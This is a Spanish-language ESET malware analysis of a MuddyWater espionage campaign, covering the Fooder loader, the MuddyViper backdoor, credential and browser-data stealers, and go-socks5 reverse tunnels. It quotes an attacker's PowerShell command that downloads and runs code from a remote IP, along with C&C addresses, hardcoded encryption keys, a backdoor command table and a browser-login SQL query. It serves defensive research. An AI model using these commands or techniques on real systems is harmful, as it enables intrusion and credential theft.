
Cree agentes de IA para automatizar el trabajo con Google Workspace Studio
Diciembre 3, 2025¿Es posible infectarse con solo hacer clic?
Diciembre 4, 2025Los investigadores de ESET han identificado nuevas actividades de MuddyWater dirigidas principalmente a organizaciones en Israel, con un objetivo confirmado en Egipto. MuddyWater, también conocido como Mango Sandstorm o TA450, es un grupo de ciberespionaje alineado con Irán conocido por su persistente ataque a sectores gubernamentales y de infraestructuras críticas, que a menudo utiliza malware personalizado y herramientas disponibles públicamente. En esta campaña, los atacantes desplegaron un conjunto de herramientas personalizadas no documentadas previamente con el objetivo de mejorar la evasión y persistencia de las defensas. Entre estas herramientas se encuentra un loader Fooder personalizado diseñado para ejecutar MuddyViper, un backdoor C/C++. Varias versiones de Fooder se hacen pasar por el clásico juego Snake, y su lógica interna incluye un delay personalizado inspirado en la mecánica del juego, combinado con el uso frecuente de llamadas a la API Sleep. Estas funciones están diseñadas para introducir retrasos en la ejecución y dificultar el análisis dinámico automatizado. MuddyViper permite a los atacantes recopilar información del sistema, ejecutar archivos y comandos shell, transferir archivos y exfiltrar credenciales de Windows y datos del navegador. La campaña también emplea ladrones de credenciales (CE-Notes y LP-Notes) y herramientas de túnel inverso como go-socks5, recurrente en las operaciones de MuddyWater.
Aunque este es nuestra primera publicación sobre MuddyWater, los investigadores de ESET han estado siguiendo al grupo durante varios años y han documentado sus actividades en múltiples APT Activity Reports. A diferencia de las campañas anteriores de MuddyWater, que solían ser altamente visibles y fáciles de detectar, la que analizamos en esta entrada muestra un enfoque más dirigido, sofisticado y sigiloso.
Puntos clave de esta publicación:
- Los desarrolladores de MuddyWater adoptaron CNG, la API criptográfica de nueva generación de Windows, algo inusual entre los grupos alineados con Irán y un tanto atípico en el panorama general de las amenazas
- El grupo también empleó técnicas avanzadas para desplegar MuddyViper, un nuevo backdoor, utilizando un loader denominado Fooder, que lo carga de forma reflexiva en memoria para su ejecución.
- Presentamos un análisis técnico de las herramientas utilizadas en esta campaña, incluyendo el backdoor MuddyViper, el loader Fooder, los credential stealers CE-Notes y LP-Notes, el browser data stealer Blub y los reverse tunnels implementados con go-socks5.
- Durante esta campaña, los operadores evitaron deliberadamente las sesiones interactivas manuales en shell (‘hands-on-keyboard’), una técnica tradicionalmente ruidosa caracterizada por comandos propensos a errores
Visión general del grupo MuddyWater
MuddyWater es un grupo de ciberespionaje activo desde al menos 2017, cuyos objetivos principales son entidades en Oriente Medio y Norteamérica. Es uno de los grupos APT alineados con Irán más activos, según el seguimiento de los investigadores de ESET, y se le atribuyen vínculos con el Ministerio de Inteligencia y Seguridad Nacional de Irán
El grupo fue presentado por primera vez públicamente como MuddyWater por Unit 42 en 2017. La descripción de sus actividades coincide con el perfil elaborado por ESET: un enfoque en el ciberespionaje, el uso de documentos maliciosos como archivos adjuntos diseñados para atraer a los usuarios a habilitar macros y eludir controles de seguridad, y un objetivo principal en entidades ubicadas en Oriente Medio
Entre las operaciones más destacadas del pasado se incluyen la Operación Quicksand (2020), una campaña de ciberespionaje dirigida a entidades gubernamentales y organizaciones de telecomunicaciones israelíes, que ejemplifica la evolución del grupo desde tácticas básicas de phishing hacia operaciones más avanzadas y multifase; y una campaña dirigida a grupos y organizaciones políticas en Turquía, que demuestra el enfoque geopolítico del grupo, su capacidad para adaptar tácticas de ingeniería social a contextos locales y su dependencia de malware modular y de una infraestructura C&C flexible
Además de su alta frecuencia de actividad, las operaciones de MuddyWater suelen ser ruidosas. El grupo es conocido por sus ataques persistentes contra los sectores gubernamental, militar, de telecomunicaciones y de infraestructuras críticas, utilizando habitualmente malware personalizado y herramientas de acceso público para obtener acceso, mantener la persistencia y exfiltrar datos confidenciales. Además de atacar a su principal adversario, Israel, el grupo parece centrar sus objetivos en países que mantienen o intentan estrechar lazos diplomáticos con Irán.
ESET ha documentado múltiples campañas atribuidas a MuddyWater que evidencian la evolución del conjunto de herramientas del grupo y su enfoque operativo cambiante. Mientras que las primeras operaciones se caracterizaban por objetivos amplios y técnicas relativamente poco sofisticadas, las campañas más recientes muestran una mayor sofisticación técnica y precisión en la selección de objetivos
En marzo y abril de 2023, MuddyWater atacó a una víctima no identificada en Arabia Saudí desplegando un script por lotes que descargaba un backdoor implementado en PowerShell, utilizado para recuperar y ejecutar cargas útiles adicionales y, posteriormente, borrar del disco la carga inicial.
El grupo llevó a cabo una campaña en enero y febrero de 2025, caracterizada por un solapamiento operativo con Lyceum (un subgrupo de OilRig), analizado en detalle en esta publicación. Este solapamiento sugiere una evolución en el modus operandi de MuddyWater y posibles vínculos operativos entre ambos grupos.
Las herramientas personalizadas del grupo documentadas públicamente incluyen, por ejemplo, los backdoors Bugsleep, Blackout, Small Sieve, Mori y POWERSTATS, así como variantes personalizadas compiladas de herramientas de código abierto como LaZagne y CrackMapExec. Por lo general, las campañas de MuddyWater no suelen incorporar nuevas herramientas, malware o técnicas innovadoras; en cambio, destacan principalmente por la naturaleza de sus objetivos.
Aunque en un principio MuddyWater se enfocaba exclusivamente en el ciberespionaje, su cooperación con Lyceum lo llevó a atacar el sector manufacturero mediante campañas de spearphishing. La operación fue altamente visible y tuvo un impacto operativo limitado.
La campaña descrita en esta publicación representa un avance significativo en su arsenal y en la sofisticación técnica de sus operaciones
Victimología
Como se ha mencionado anteriormente, durante esta campaña MuddyWater se dirigió principalmente a organizaciones en Israel, pero también a una en Egipto. La Tabla 1 muestra la distribución de víctimas por país y sector. La campaña comenzó el 30 de septiembre de 2024 y concluyó el 18 de marzo de 2025.
Tabla 1. Víctimas por país y vertical
| Country | Vertical |
| Egypt | Technology |
| Israel | Engineering #1 |
| Engineering #2 | |
| Engineering #3 | |
| Local Government #1 | |
| Local Government #2 | |
| Manufacturing | |
| Technology | |
| Transportation | |
| Utilities | |
| University #1 | |
| University #2 | |
| University #3 | |
| Unidentified #1 | |
| Unidentified #2 | |
| Unidentified #3 | |
| Unidentified #4 | |
| Unidentified #5 |
Un hecho relevante sobre la víctima del sector de servicios públicos es que también fue comprometida por Lyceum el 11 de febrero de 2025.
Solapamiento y cooperación con Lyceum
A principios de 2025, ESET Research identificó una superposición operativa entre MuddyWater y Lyceum, un subgrupo de OilRig, un actor de ciberespionaje alineado con Irán también conocido como HEXANE o Storm-0133. OilRig está activo al menos desde 2014 y se cree que tiene su sede en Irán. Entre las herramientas atribuidas a Lyceum se incluyen DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX y diversos downloaders que utilizan servicios legítimos en la nube para la comunicación C&C. Lyceum ha tenido como objetivo varias organizaciones israelíes, incluidas entidades gubernamentales nacionales y locales, así como organizaciones del sector sanitario.
Durante la campaña que nos ocupa, MuddyWater llevó a cabo una subcampaña en colaboración con OilRig en enero y febrero de 2025. MuddyWater inició el acceso mediante un correo electrónico de spearphishing que contenía un enlace a un instalador legítimo del software de monitorización y gestión remota (RMM) Syncro. Tras el ataque inicial, los atacantes instalaron una herramienta RMM adicional, PDQ, y desplegaron un loader de Mimikatz personalizado, disfrazado como archivos de certificado con extensión .txt. Según la actividad observada, Lyceum probablemente aprovechó las credenciales obtenidas para acceder y asumir el control de las operaciones de la organización del sector manufacturero objetivo en Israel.
Esta cooperación sugiere que MuddyWater podría estar desempeñando el rol de initial access broker para otros grupos alineados con Irán
Atribución
La victimología, las TTP y las herramientas observadas en esta campaña coinciden con capacidades y herramientas previamente documentadas y atribuidas a MuddyWater. Esta evaluación se basa en el método de acceso inicial y la posterior entrega de herramientas maliciosas, principalmente mediante correos electrónicos de spearphishing que incluyen enlaces para descargar software RMM legítimo.
TTPs
Los operadores de MuddyWater continúan utilizando backdoors basados en scripts desarrollados en PowerShell y Go. Sus objetivos siguen siendo los sectores de telecomunicaciones, gubernamental y petróleo y energía.
El acceso inicial se logra habitualmente mediante correos electrónicos de spearphishing que contienen archivos PDF con enlaces a instaladores de software RMM alojados en servicios gratuitos de intercambio de archivos como OneHub, Egnyte o Mega. Estos enlaces conducen a la descarga de herramientas RMM como Atera, Level, PDQ y SimpleHelp.
Entre las herramientas desplegadas por los operadores de MuddyWater se encuentra también el backdoor VAX-One, denominado así por los productos legítimos que suplanta: Veeam, AnyDesk, Xerox y el servicio de actualización OneDrive.
El uso continuado de este conocido playbook hace que su actividad sea relativamente fácil de detectar y bloquear.
Superposición de herramientas
Identificamos solapamientos de código entre varias de las nuevas herramientas documentadas y aquellas que previamente atribuíamos a MuddyWater:
- LP-Notes, un nuevo credential stealer, presenta el mismo diseño que CE-Notes, un browser data stealer que anteriormente asociamos a MuddyWater. Durante esta campaña, también observamos un loader de Mimikatz, que comparte el mismo diseño y métodos de ofuscación que CE-Notes
- Detectamos varias variantes nuevas de los reverse tunnels personalizados go-socks5 de MuddyWater, utilizados por el grupo a lo largo de 2024 y 2025.
- En dos casos, encontramos los reverse tunnels go-socks5 incrustados en un nuevo loader de MuddyWater, denominado internamente Fooder. En otra docena de casos, este loader se empleó para desplegar la nueva backdoor de MuddyWater, MuddyViper.
- Curiosamente, MuddyViper y las variantes de los loaders CE-Notes/LP-Notes/Mimikatz utilizan la API CNG (Cryptography Next Generation) para cifrar y descifrar datos, algo que, hasta donde sabemos, es exclusivo de los grupos alineados con Irán. Otro rasgo común entre estas herramientas es que intentan robar credenciales de usuario mostrando un falso cuadro de diálogo de seguridad de Windows.
Conjunto de herramientas
En este blogpost documentamos herramientas personalizadas, desconocidas hasta ahora, utilizadas por MuddyWater:
- Loader Fooder – un loader recientemente identificado que carga el backdoor MuddyViper en memoria y lo ejecuta. Varias versiones de Fooder se hacen pasar por el clásico juego Snake, de ahí la denominación MuddyViper. Otra característica notable de Fooder es su uso frecuente de una función de retardo personalizada que implementa la lógica central del juego Snake, combinada con llamadas a la APISleep. Estas funciones están diseñadas para introducir retrasos en la ejecución y dificultar el análisis dinámico automatizado.
- Backdoor MuddyViper – un backdoor C/C++ previamente no documentado que permite a los atacantes recopilar información del sistema, descargar y cargar archivos, ejecutar archivos y comandos shell, y robar credenciales de Windows y datos del navegador.
El resto del conjunto de herramientas documentado en este blogpost incluye:
- CE-Notes, un browser data stealer,
- LP-Notes, un credential stealer,
- Blub, otro browser data stelaer, y
- varios reverse tunnels implementados con go-socks5.
Loader Fooder
Fooder es un loader C/C++ de 64 bits diseñado para desencriptar y luego cargar reflexivamente la carga útil incrustada (como se ilustra en la Figura 1), siendo MuddyViper la carga útil observada con mayor frecuencia.

Fooder parece ser el nombre interno de esta herramienta, basándonos en sus rutas PDB:
- C:\Users\win\Desktop\Fooder\Debug\Launcher.pdb
- C:\Users\pc\Desktop\main\My_Project\Fooder\x64\Debug\Launcher.pdb
Aunque solo hemos capturado una muestra, creemos que Fooder es ejecutado por un launcher simple escrita en C. No implementa ofuscación de cadenas, muestra registro verboso en la consola y la ruta PDB se deja intacta:
C:\Users\pc\source\repos\ConsoleApplication7\x64\Release\ConsoleApplication7.pdb
Hemos observado una instancia (SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082) del componente que ejecuta Fooder. Desplegado bajo el nombre %USERPROFILE%\Downloads\OsUpdater.exe, el launcher espera un ID de proceso como argumento de línea de comandos. Una vez ejecutado, intenta duplicar el token del proceso especificado mediante la API DuplicateTokenEx y, a continuación, utiliza CreateProcessAsUserA para ejecutar Fooder.
Una vez ejecutado, Fooder descifra el payload incrustado siguiendo estos pasos:
- El argumento de la línea de comandos(6) se añade a cada byte de una clave hardcoded, que produce la clave de descifrado AES, compartida entre todas las muestras, 6969697820511281801712341067111416133321394945138510872296106446.
- Se resta un valor codificado(5) de cada byte del payload cifrado.
- Por último, el payload se descifra utilizando la API WinCrypt y la clave AES.
A continuación, Fooder carga el payload directamente en memoria mediante técnicas reflexivas, lo que permite su ejecución sin depender de llamadas estándar del sistema ni escribir en disco.
Una vez lanzado, Fooder se ha utilizado para distribuir no solo MuddyViper, sino también HackBrowserData, una utilidad de código abierto capaz de descifrar y exportar información sensible del navegador, como credenciales y cookies. Fooder también facilita el despliegue de variantes de go-socks5, binarios compilados en Go que funcionan como reverse tunnels, permitiendo a los atacantes eludir cortafuegos y mecanismos de traducción de direcciones de red (NAT). Cabe destacar que MuddyWater ya había utilizado go-socks5 con anterioridad, independientemente de Fooder, lo que indica que sigue confiando en esta herramienta para la comunicación sigilosa en red y la exfiltración de datos.
Nótese que varias versiones de Fooder se hacen pasar por el juego Snake – véanse las cadenas y los mutexes resaltados en la Figura 2 – su payload más frecuentemente incrustado.

Otra característica notable de Fooder es su uso frecuente de una función de retardo personalizada que implementa la lógica central del juego Snake, en el que el jugador maniobra el extremo de una línea creciente, a menudo tematizada como una serpiente, para evitar obstáculos y recoger objetos, junto con llamadas a la APISleep. El retraso en la ejecución se consigue imitando la función de retardo basada en bucles, similar a la mecánica del juego Snake, donde cada movimiento está controlado por un bucle que espera un breve intervalo antes de actualizar el estado del juego. Este bucle introduce retrasos en la ejecución que ralentizan el comportamiento del malware, ayudándole a evadir herramientas que monitorizan actividad maliciosa rápida. La Figura 3 muestra los retrasos y el banner de bienvenida del juego Snake que se presenta al usuario en tiempo de ejecución.

Fooder no tiene ninguna capacidad de persistencia incorporada. Sin embargo, en los casos en que el payload final de Fooder es el backdoor MuddyViper, este puede configurar la persistencia para el loader mediante una tarea programada o a través de la carpeta Startup.
Backdoor MuddyViper
MuddyViper, un backdoor previamente no documentado escrito en C y C++, permite obtener acceso encubierto y control sobre sistemas comprometidos. Hemos observado MuddyViper únicamente en memoria, cargado por Fooder, lo que podría explicar la ausencia de ofuscación y cifrado de cadenas. Como es típico en MuddyWater, MuddyViper envía mensajes de estado extremadamente verbosos y frecuentes a su servidor C&C durante su ejecución, como los siguientes:
- [+] Persist: ——————– Hi, I am alive ——————–
- [+] Persist: ——————– Hi, First time ——————–
- [-] Persist: failed create task !!!!
El backdoor también mantiene una lista extensa de más de 150 nombres de procesos y detalles sobre los respectivos productos para enviar informes detallados sobre las herramientas de seguridad detectadas en el entorno comprometido, aunque la inclusión de estos detalles podría haberse implementado fácilmente en el lado del servidor:
- [>] Process: aciseagent.exe ~~> (Cisco Umbrella Roaming Security) –> (Security DNS) found!
- [>] Process: acnamagent.exe ~~> (Absolute Persistence) –> (Asset Management) found!
- [>] Process: acnamlogonagent.exe ~~> (Absolute Persistence) –> (Asset Management) found!
Este comportamiento genera un tráfico de red considerable.
MuddyViper tiene dos métodos para establecer la persistencia:
Una tarea programada llamada ManageOnDriveUpdater puede ejecutar MuddyViper desde esa ruta en cada inicio del sistema. MuddyViper soporta 20 comandos backdoor (ver Tabla 2 para detalles), incluyendo notablemente la capacidad de abrir y operar reverse shells, descargar, subir y ejecutar archivos, reportar las herramientas de seguridad en ejecución, robar credenciales de usuario y datos de una variedad de navegadores, configurar su propia persistencia y desinstalarse a sí mismo.
Tabla 2. Comandos del backdoor MuddyViper
| ID | Arguments | Action | Response |
| 200 | N/A | N/A | 0, via the GET /adad or GET /aq36 request, to obtain a backdoor command. |
| 207 | N/A | Decrypts the embedded HackBrowserData tool and reflectively loads it in a new thread. This open-source tool can steal credentials, history, and other information from web browsers. MuddyViper then compresses the collected data (into a file named CacheDump.zip) and uploads it to the C&C server. | Collected browser data, via the GET /mq65 request. In case of an error, a custom status message is sent instead. |
| 300 | Launches a reverse shell using: • the provided command line (command ID 300) • C:\windows\system32\cmd.exe (command ID 301) • C:\windows\system32\WindowsPo Then, in a loop, uploads the process output to the C&C server and interprets the server response (see command IDs 350-352) until interrupted. | Process output, via the GET /oi32 request. In case of an error, a custom status message is sent instead. | |
| 301 | N/A | ||
| 302 | N/A | ||
| 350 | N/A | Must follow command IDs 300-302. Sleeps for a preconfigured amount of time – for the reverse shell loop, the default is one second. | |
| 351 | Sleep time (in milliseconds) | Must follow command IDs 300-302. Configures the sleep time for the reverse shell loop – the default is one second. | |
| 352 | Input for the reverse shell. | Must follow command IDs 300-302. Passes the provided argument to the running reverse shell. | |
| 360 | N/A | Not implemented, likely related to the reverse shell API. | A custom error message: [-] Agent does not have an active pipe |
| 400 | Flag. | Must follow command ID 401. It confirms that the C&C server has successfully received a part of the exfiltrated local file. Optionally adjusts the sleep before the next upload specified in command ID 401 to 10 seconds. | No response, unless this command is issued outside of a pending file upload process, it sends a custom error message: [-] Agent does not have an DOWNLOAD file |
| 401 | Sleep time (in milliseconds), filename. | Initiates a file upload operation from the specified local file to the C&C server in chunks, with the specified sleep time between each upload. | Contents of the specified file, via a series of GET /dadw requests. |
| 500 | Data chunk. | Must follow command ID 501. Writes the received data chunk into a previously created and opened local file. | A custom error message, if the operation fails. |
| 501 | Sleep time (in milliseconds), filename. | Downloads a file from the C&C server in chunks into a local file with the specified name. The specified sleep time is used as a delay after downloading each data chunk. Deletes the file if the connection cannot be established after six consecutive attempts. | A series of GET /dadwqa requests, to request the file contents. |
| 700 | Sleep time (in milliseconds) | Configures the sleep time between connection attempts to the specified value (default is 60 seconds). | N/A |
| 800 | N/A | Enumerates running processes, searching for selected security tools from an extensive hardcoded list. | For each detected process, sends a report with the following information, populated from that hardcoded table: [>] Process: |
| 805 | Timeout (in milliseconds) | Displays a fake Windows Security dialog (see Figure 4), prompting the user to fill in credentials, which are then exfiltrated to the C&C server. Uses the provided argument as a timeout for the dialog. | Collected credentials, via the GET /rq13 request: [+] creds ~~> Username: If not successful, a custom error message is sent instead. |
| 806 | N/A | Sets up persistence via a scheduled task named ManageOnDriveUpdater. The backdoor copies itself to its installation path, unless it is already running from there. | A custom status message, depending on the outcome of the operation. |
| 900 | N/A | Uninstalls itself. First, clears persistence set via a Windows Startup Folder and then deletes itself. Note that this action will not clear the persistence via a scheduled task that can be set by the backdoor command ID 806. | A custom status message, depending on the outcome of the operation. |
| 905 | N/A | Terminates the current backdoor process. | N/A |
| 906 | N/A | Relaunches itself (via the CreateProcessW API) and terminates the current process. | A custom status message, depending on the outcome of the operation. |
| other | N/A | N/A | [-] Agent statusCode I don’t have it |
Uno de los comandos listados en la Tabla 2, con ID 805, muestra un falso diálogo de Seguridad de Windows en un intento de atraer a la víctima para que rellene sus credenciales de Windows, como se ve en la Figura 4. Una técnica similar es utilizada por el stealer LP-Notes de MuddyWater (ver credential stealer LP-Notes).

Otro comando, con ID 900, tiene como objetivo eliminar MuddyViper de la máquina comprometida y borrar su persistencia; sin embargo, el comando no elimina todos los rastros del backdoor.
Protocolo de red
Para comunicarse con su servidor de C&C, MuddyViper utiliza peticiones HTTP GET (a través de la API WinHTTP) sobre el puerto 443, con el flag WINHTTP_FLAG_SECURE configurado para utilizar SSL/TLS. Se han observado dos servidores de C&C: processplanet[.]org y 35.175.224[.]64.
Ambas direcciones de comunicación cifran los datos mediante AES-CBC, utilizando la API CNG con la clave (utilizada en todas las muestras) 0608101047106453101617106423101013101012101083109710108585106969 y el IV 0.
En la dirección backdoor → servidor de las comunicaciones:
- Cada URI de endpoint soportado por el servidor C&C puede ser utilizado por el backdoor para un tipo específico de petición, como solicitar un comando, subir un archivo o enviar un mensaje de estado personalizado.
- Los datos adicionales para el servidor de C&C se incluyen en el cuerpo de la solicitud HTTP, que es poco convencional para las solicitudes HTTP GET.
- La cadena User-Agent es A WinHTTP Example Program/1.0, un remanente del código de ejemplo para la API WinHttpOpen.
- Los tiempos de espera de conexión, envío, recepción y respuesta están fijados en 30 segundos.
- El tiempo de espera por defecto entre intentos de conexión consecutivos es de 60 segundos. Este valor puede configurarse mediante el comando ID 700.
- En caso de fallo, los intentos de conexión se reintentan hasta 10 veces.
- Antes de la encriptación, los datos siempre tienen el formato
/ * .
En el sentido servidor → backdoor de las comunicaciones:
- El código de estado HTTP determina el ID del comando backdoor.
- Los argumentos del comando backdoor se incluyen en el cuerpo de la respuesta HTTP.
Robo de datos del navegador CE-Notes
CE-Notes es un browser data stealer que denominamos así por el nombre de archivo – ce-notes.txt – utilizado para almacenar en disco los datos robados. Descubrimos CE-Notes en 2024, cuando observamos que MuddyWater desplegaba versiones EXE y DLL del mismo en el sistema de una organización de Israel.
CE-Notes se descargó con el siguiente comando de PowerShell:
“C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe” (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-Expression
Ambas versiones del browser-data stealer intentan robar y descifrar la clave de encriptación app-bound almacenada en el archivo Local State(%APPDATA%\Local\Google\Chrome\User Data\Local State) de los navegadores Chromium (Chrome, Brave y Edge). El cifrado vinculado a la aplicación se introdujo en la versión 127 de Chrome, que permite a Chrome cifrar los datos vinculados a la identidad de la aplicación. Los ciberdelincuentes y los grupos APT se han dado cuenta y están tratando activamente de burlar el cifrado vinculado a la aplicación para robar claves de sesión. CE-Notes es bastante similar a ChromElevator en GitHub.
Los datos recopilados se cifran mediante AES-CBC utilizando la API CNG con la clave 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F y el IV 4103A09887B82FFD56A93BB431805224.
A continuación, los datos cifrados se almacenan en el disco en C:\Users\Public\Downloads\ce-notes.txt para su posterior recuperación (probablemente a través de una herramienta RMM, ya que ni las versiones EXE ni DLL tienen ningún medio de exfiltración del archivo). La principal diferencia entre el EXE y la DLL es la funcionalidad de evasión de máquina virtual añadida a la DLL.
Hemos observado el ladrón de datos de navegador CE-Notes en las siguientes ubicaciones:
- C:\system2.dll
- C:\Users\Public\Downloads\system2.dll
- C:\Intel\system.dll
- C:\20240926_165509.exe
Robo de credenciales LP-Notes
LP-Notes es un credential stealer C/C++ para Windows con el mismo diseño que el browser data stealer CE-Notes. Siguiendo la misma convención de nomenclatura que en el caso de CE-Notes, hemos denominado al stealer LP-Notes en función del archivo local que utiliza para almacenar las credenciales robadas antes de la exfiltración:C:\Users\Public\Downloads\lp-notes.txt(;(frente a;C:\Users\Public\Downloads\ce-notes.txt).El único propósito de LP-Notes es inducir a las víctimas a enviar sus credenciales mostrando un falso cuadro de diálogo de seguridad de Windows que solicita el nombre de usuario y la contraseña. Hemos observado un caso de LP-Notes descargado y ejecutado mediante PowerShell con una línea de comandos muy similar a la mostrada en la sección CE-Notes.
LP-Notes es un ladrón de credenciales C/C++ para Windows con el mismo diseño que el ladrón de datos de navegador CE-Notes. Siguiendo la misma convención de nomenclatura que en el caso de CE-Notes, hemos denominado al ladrón LP-Notes en función del archivo local que utiliza para almacenar las credenciales robadas antes de la filtración: C:\Users\Public\Downloads\lp-notes .txt (frente a C:\Users\Public\Downloads\ce-notes.txt). El único propósito de LP-Notes es atraer a las víctimas para que envíen sus credenciales mostrando un falso cuadro de diálogo de seguridad de Windows, que les pide que introduzcan su nombre de usuario y contraseña de Windows. Hemos observado un caso de LP-Notes descargado y ejecutado por PowerShell con una línea de comandos muy similar a la mostrada en la sección CE-Notes.
Inicialización
Al ejecutarse, LP-Notes comienza buscando un proceso llamado taskhostw.exe (Host Process for Windows Tasks) y suplantando el contexto de seguridad del proceso (a través de la API ImpersonateLoggedOnUser ); sólo entonces LP-Notes activa su carga maliciosa.
LP-Notes emplea varias técnicas sencillas de ofuscación, incluida una rutina personalizada basada en sumas para el descifrado de cadenas. La Figura 5 muestra la función que descifra cadenas de longitudes comprendidas entre 15 y 19 caracteres, aunque la clave de descifrado es siempre la misma: un conjunto de constantes predefinidas que se suman o restan a cada byte de la cadena. Curiosamente, CE-Notes utiliza la misma rutina de descifrado, excepto por una clave diferente, como se muestra en la Figura 6.


LP-Notes utiliza el apilamiento de cadenas para aquellas con menos de 15 o más de 19 caracteres, incluyendo la clave de descifrado, el IV y los nombres de importación. Por último, para ocultar el uso de las funciones de la API de Windows y dificultar el análisis estático, LP-Notes resuelve dinámicamente las funciones de la API durante la inicialización del tiempo de ejecución de C, antes de la ejecución de la funciónWinMain, el punto de entrada estándar para una aplicación gráfica basada en Windows según Microsoft, ocultando así las referencias directas a las funciones de la API en el pseudocódigo (ver Figura 7).

Capacidades
En un bucle infinito, LP-Notes muestra un falso cuadro de diálogo de seguridad de Windows que solicita a la víctima introducir su nombre de usuario y contraseña, como se muestra en la Figura 8 (a través de la APICredUIPromptForWindowsCredentialsW ).Cabe destacar que, aunque similar, no es idéntico al cuadro de credenciales falso utilizado por MuddyViper (ver Figura 4). LP-Notes confirma inmediatamente la validez de cualquier credencial enviada intentando iniciar sesión como ese usuario mediante las APICredUnPackAuthenticationBufferWyLogonUserW).

Si tiene éxito, las credenciales recogidas se cifran mediante AES-CBC utilizando la API CNG con la clave ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC y el IV 91A4E6F6D51DAEE773A8F00279792578.
Al igual que CE-Notes, LP-Notes almacena las credenciales cifradas en un archivo local, en este caso C:\Users\Public\Downloads\lp-notes.txt. Como ninguno de estos componentes tiene la capacidad de filtrar datos, otro componente presumiblemente se encarga de esto (ya sea una herramienta RMM o MuddyViper).
Robo de datos del navegador Blub
Blub es un browser data stealer en C/C++ que incorpora una librería SQLite enlazada estáticamente. El nombre se deriva de su archivo ejecutable,Blub.exe. Observamos la ruta PDB C:\sers\jojo\source\repos\stealer\x64\Release\stealer.pdb. Roba credenciales de inicio de sesión de los navegadores Google Chrome, Microsoft Edge, Mozilla Firefox y Opera.
Navegadores basados en Chromium
En el caso de Chrome, Blub primero termina el proceso chrome.exe (si se está ejecutando) y luego analiza y descifra la clave de cifrado ubicada enC:\Users\CryptUnprotectData y luego la utiliza para descifrar las credenciales obtenidas de todos los perfiles de usuario de Chrome presentes en el equipo comprometido. Las credenciales, almacenadas en C:\Users\
SELECT origin_url, username_value, password_value FROM logins
Una serie similar de pasos se utiliza para obtener y descifrar las credenciales de usuario de los perfiles de usuario de Microsoft Edge y Opera, utilizando la clave obtenida de C:\Users\
Firefox
Por último, para descifrar las credenciales de usuario almacenadas para Mozilla Firefox, Blub analiza los valores hostname, encryptedUsername y encryptedPassword del archivo logins.json en el directorio de perfil de cada usuario, es decir, %APPDATAROAMING%\Mozilla\Firefox\Profiles\
Los datos recogidos se almacenan en un archivo local llamado file.txt, sin cifrar. Los mismos datos se registran en la consola, sin cifrar, junto con mensajes de estado detallados. Blub no tiene capacidad para filtrar este archivo.
Tenga en cuenta que Blub comprueba si se están ejecutando procesos asociados a soluciones de seguridad antes de ejecutar su carga maliciosa, centrándose en la combinación de procesos afwServ.exe (cortafuegos de Avast) y AvastSvc.exe (antivirus de Avast). Si se detecta afwServ.exe en ejecución (pero no AvastSvc.exe), Blub concluye que se está ejecutando Norton (que ahora utiliza el motor de Avast) en el host comprometido, y sale. Si se detecta AvastSvc.exe (Avast), Blub continúa con la ejecución, excepto que se salta el robo de credenciales de Microsoft Edge.
Mientras que las cadenas de Blub se almacenan en texto claro, se utiliza una sencilla técnica de ofuscación para las cadenas asociadas a la funcionalidad de robo de datos de Google Chrome. En concreto, se concatenan varias cadenas en una larga, con 16 caracteres aleatorios entre ellas, aparentemente para ocultarlas durante el análisis estático:
gdGlog}o{eRwjpw&”encrypted_key”:FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW’xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~
Eliminar los caracteres basura y dividir las cadenas devuelve:
- “encrypted_key”:
- ImpersonateLogge
- OpenProcessToken
- DuplicateTokenEx
Reverse tunnles go-socks5
Los reverse tunnles go-socks5 de MuddyWater son una colección de herramientas compiladas en Go, basadas en bibliotecas disponibles públicamente como go-socks5, yamux y resocks; se han utilizado con frecuencia en las recientes campañas de MuddyWater.
La mayoría de las variantes que analizamos parecen llamarse internamente ESETGO (sin relación con ESET), según las cadenas de configuración de compilación que se muestran en la Figura 9 y en otros artefactos.
path ESETGO
mod ESETGO (devel)
dep github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
dep github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE=
dep golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
dep golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
build -buildmode=exe
build -compiler=gc
build -ldflags="-w -s"
build CGO_ENABLED=1
build CGO_CFLAGS=
build CGO_CPPFLAGS=
build CGO_CXXFLAGS=
build CGO_LDFLAGS=
build GOARCH=amd64
build GOOS=windows
build GOAMD64=v1Figura 9. Cadenas de configuración de las variantes go-socks5 de MuddyWater
El propósito principal del proxy go-socks5 de MuddyWater es retransmitir la comunicación entre la máquina comprometida (en un puerto específico) y un servidor C&C codificado, utilizando una clave de conexión hardcoded para autenticarse con el servidor C&C a través de SSL/TLS. Esta configuración permite al atacante enrutar el tráfico C&C (potencialmente relacionado con otros compromisos) a través de la máquina comprometida, ocultando así la ubicación del verdadero servidor C&C.
Conclusión
Esta campaña refleja una evolución en la madurez operativa de MuddyWater. El despliegue de componentes previamente no documentados, como el loader Fooder y el backdoor MuddyViper, indica un esfuerzo por mejorar las capacidades de evasión, persistencia y robo de credenciales. El uso de técnicas de evasión inspiradas en mecánicas de juegos, reverse tunneling y un conjunto de herramientas diversificado muestra un enfoque más refinado que en campañas anteriores, aunque persisten indicios de inmadurez operativa.
MuddyWater sigue demostrando su capacidad para ejecutar campañas que oscilan entre nivel medio y medio-alto: oportunas, eficaces y cada vez más difíciles de defender. Aunque estimamos que MuddyWater continuará siendo uno de los principales actores alineados con Irán, prevemos un patrón sostenido de campañas típicas reforzadas con TTP más avanzadas.
ESET continuará monitoreando las actividades del grupo, con foco en nuevos indicios de evolución técnica y ataques estratégicos contra gobiernos, fuerzas armadas, telecomunicaciones e infraestructuras críticas.
